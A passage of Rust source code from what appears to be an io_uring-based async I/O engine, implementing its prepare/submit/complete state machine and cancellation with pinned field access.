prepare: impl FnOnce(&mut iou::SubmissionQueueEvent<'_>, RawFd),
) -> Poll<io::Result<usize>> {
match self.state {
Inert => {
ready!(self.as_mut().try_prepare(ctx, prepare));
ready!(self.as_mut().try_submit(ctx));
Poll::Pending
}
Prepared => {
match self.as_mut().try_complete(ctx) {
ready @ Poll::Ready(..) => ready,
Poll::Pending => {
ready!(self.as_mut().try_submit(ctx));
Poll::Pending
}
}
}
Submitted => self.try_complete(ctx),
Lost => panic!("engine in a bad state; driver is faulty"),
}
}
#[inline(always)]
unsafe fn try_prepare(
mut self: Pin<&mut Self>,
ctx: &mut Context<'_>,
prepare: impl FnOnce(&mut iou::SubmissionQueueEvent<'_>, RawFd),
) -> Poll<()> {
let fd = self.fd;
let (driver, mut state) = self.as_mut().driver_and_state();
let completion = ready!(driver.poll_prepare(ctx, |mut sqe, ctx| {
*state = Lost;
prepare(&mut sqe, fd);
let completion = Completion::new(ctx.waker().clone());
sqe.set_user_data(completion.addr());
ExternalCompletion::new(completion, ctx)
}));
*state = Prepared;
*self.completion() = Some(completion.real);
Poll::Ready(())
}
#[inline(always)]
unsafe fn try_submit(self: Pin<&mut Self>, ctx: &mut Context<'_>) -> Poll<()> {
let (driver, mut state) = self.driver_and_state();
// TODO figure out how to handle this result
let _ = ready!(driver.poll_submit(ctx, true));
*state = Submitted;
Poll::Ready(())
}
#[inline(always)]
unsafe fn try_complete(mut self: Pin<&mut Self>, ctx: &mut Context<'_>) -> Poll<io::Result<usize>> {
if let Some(result) = self.completion.as_ref().and_then(|c| c.check()) {
*self.as_mut().state() = Inert;
self.as_mut().completion().take().unwrap().deallocate();
Poll::Ready(result)
} else {
if let Some(completion) = &self.completion {
completion.set_waker(ctx.waker().clone());
}
Poll::Pending
}
}
#[inline]
pub fn cancel(self: Pin<&mut Self>, mut cancellation: Cancellation) {
unsafe {
if let Some(completion) = self.completion().take() {
completion.cancel(cancellation);
} else {
cancellation.cancel();
}
}
}
#[inline(always)]
fn driver_and_state(self: Pin<&mut Self>) -> (Pin<&mut D>, Pin<&mut State>) {
unsafe {
let this = Pin::get_unchecked_mut(self);
(Pin::new_unchecked(&mut this.driver), Pin::new_unchecked(&mut this.state))
}
}
#[inline(always)]
fn state(self: Pin<&mut Self>) -> Pin<&mut State> {
unsafe { Pin::map_unchecked_mut(self, |this| &mut this.state) }
}
#[inline(always)]
fn completion(self: Pin<&mut Self>) -> Pin<&mut Option<Completion>> {
unsafe { Pin::map_unchecked_mut(self, |this| &mut this.completion) }
}
}
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.